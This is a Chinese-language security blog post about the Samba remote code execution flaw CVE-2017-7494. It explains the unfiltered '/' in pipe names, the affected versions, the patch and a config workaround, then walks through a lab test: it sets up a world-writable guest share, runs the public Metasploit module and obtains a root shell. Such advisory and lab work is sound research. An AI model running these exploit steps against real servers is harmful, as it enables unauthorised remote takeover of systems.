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<h1 class="entry-title"><a href="https://kingx.me/samba-rce-cve-2017-7494.html" rel="bookmark" title="Samba远程代码执行漏洞-CVE-2017-7494">Samba远程代码执行漏洞-CVE-2017-7494</a></h1>
<h2><span class="entry-date date published"><time datetime="2017-05-26T00:00:00-04:00">May 26, 2017, KINGX</time></span></h2>
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<span class="entry-tags" style="color:red;font-size:13px;margin-bottom: 0px;">「声明：本博客中涉及到的相关漏洞均为官方已经公开并修复的漏洞，涉及到的安全技术也仅用于企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。」</span>
<h2 id="0x01-概述">0x01 概述</h2>
<p>Samba的<code class="highlighter-rouge">is_known_pipename</code>函数中，pipename路径符号存在漏洞，未过滤 <code class="highlighter-rouge">/</code> 符号。攻击者连接上一个可写的共享目录，通过上传恶意的链接库文件，并构造一个指向该库文件的管道名，使服务端程序加载并执行它，从而实现远程代码执行。</p>
<h2 id="0x02-影响">0x02 影响</h2>
<p>影响Samba 3.5.0到4.6.4/4.5.10/4.4.14的中间版本。
利用条件：</p>
<ol>
<li>可访问Samba端口，默认445端口</li>
<li>拥有共享文件写入权限，如：匿名可写等</li>
<li>恶意攻击者需猜解Samba服务端共享目录的物理路径</li>
</ol>
<p>在Metasploit Exploit Pull Request讨论中，<a href="https://github.com/rapid7/metasploit-framework/pull/8450" target="_blank">@hdm</a>指出，有方法可能不需要猜解Samba共享目录的物理路径：</p>
<blockquote>
<p>Additionally, Mr. Tavis Ormandy suggested a nice way to exploit this without knowing the path using two connections and /proc/self/cwd, which I will try to implement in the near future (this PR if its languishing or the next one).</p>
</blockquote>
<h2 id="0x03-修复">0x03 修复</h2>
<p>打补丁<sup id="fnref:1"><a href="#fn:1" class="footnote">1</a></sup>或者升级到Samba 4.6.4/4.5.10/4.4.14任意版本<sup id="fnref:2"><a href="#fn:2" class="footnote">2</a></sup></p>
<p>4.6.3-4.5.9-4.4.13版本的补丁关键代码如下：</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">---</span>
<span class="n">bool</span> <span class="n">is_known_pipename</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">pipename</span><span class="p">,</span> <span class="k">struct</span> <span class="n">ndr_syntax_id</span> <span class="o">*</span><span class="n">syntax</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">NTSTATUS</span> <span class="n">status</span><span class="p">;</span>
<span class="o">+</span> <span class="k">if</span> <span class="p">(</span><span class="n">strchr</span><span class="p">(</span><span class="n">pipename</span><span class="p">,</span> <span class="sc">'/'</span><span class="p">))</span> <span class="p">{</span>
<span class="o">+</span> <span class="n">DEBUG</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="p">(</span><span class="s">"Refusing open on pipe %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pipename</span><span class="p">));</span>
<span class="o">+</span> <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="o">+</span> <span class="p">}</span>
<span class="o">+</span>
<span class="k">if</span> <span class="p">(</span><span class="n">lp_disable_spoolss</span><span class="p">()</span> <span class="o">&&</span> <span class="n">strequal</span><span class="p">(</span><span class="n">pipename</span><span class="p">,</span> <span class="s">"spoolss"</span><span class="p">))</span> <span class="p">{</span>
<span class="n">DEBUG</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="p">(</span><span class="s">"refusing spoolss access</span><span class="se">\n</span><span class="s">"</span><span class="p">));</span>
<span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="o">---</span>
</code></pre></div></div>
<p><strong>缓解方案：</strong></p>
<p>在smb.conf的[global]板块中添加如下参数并重启Samba服务</p>
<figure class="highlight"><pre><code class="language-default" data-lang="default">[global]
nt pipe support = no</code></pre></figure>
<h2 id="0x04-exploit测试">0x04 Exploit测试</h2>
<p>已有用户向Metasploit提交Exploit模块：
<a href="https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb" target="_blank">Metasploit Exploit</a>
, <a href="https://github.com/rapid7/metasploit-framework/pull/8450" target="_blank">相关PullRequest</a></p>
<p>首先安装一个漏洞版本的Samba软件，配置一个匿名可写的共享目录，并重启服务。</p>
<figure class="highlight"><pre><code class="language-default" data-lang="default">vi /etc/samba/smb.conf
[share]
path=/tmp/share
writable=yes
available=yes
guest ok=yes
public=yes
browseable=yes
---
chmod 777 /tmp/share
service smb restart</code></pre></figure>
<p>也可以使用网上的Docker镜像做靶场：</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker pull medicean/vulapps:s_samba_1
docker run <span class="nt">-d</span> <span class="nt">-p</span> 445:445 <span class="nt">-p</span> 139:139 <span class="nt">-p</span> 137:137 medicean/vulapps:s_samba_1
</code></pre></div></div>
<p>Exploit利用过程如下：</p>
<figure class="highlight"><pre><code class="language-vim" data-lang="vim">use exploit<span class="sr">/linux/</span>samba/is_known_pipename</code></pre></figure>
<p><img src="https://kingx.me/images/articles/201705/options.png" alt="options" /></p>
<figure class="highlight"><pre><code class="language-vim" data-lang="vim">exploit</code></pre></figure>
<p><img src="https://kingx.me/images/articles/201705/exploit.png" alt="exploit" /></p>
<p>Exploit获取的默认为nobody权限，如果smb.conf中配置了 <code class="highlighter-rouge">guest account=root</code>，则可以获得root权限。</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>
</code></pre></div></div>
<h2 id="0x05-references">0x05 References</h2>
<div class="footnotes">
<ol>
<li id="fn:1">
<p>https://www.samba.org/samba/history/security.html <a href="#fnref:1" class="reversefootnote">↩</a></p>
</li>
<li id="fn:2">
<p>https://lists.samba.org/archive/samba-announce/2017/000406.html <a href="#fnref:2" class="reversefootnote">↩</a></p>
</li>
</ol>
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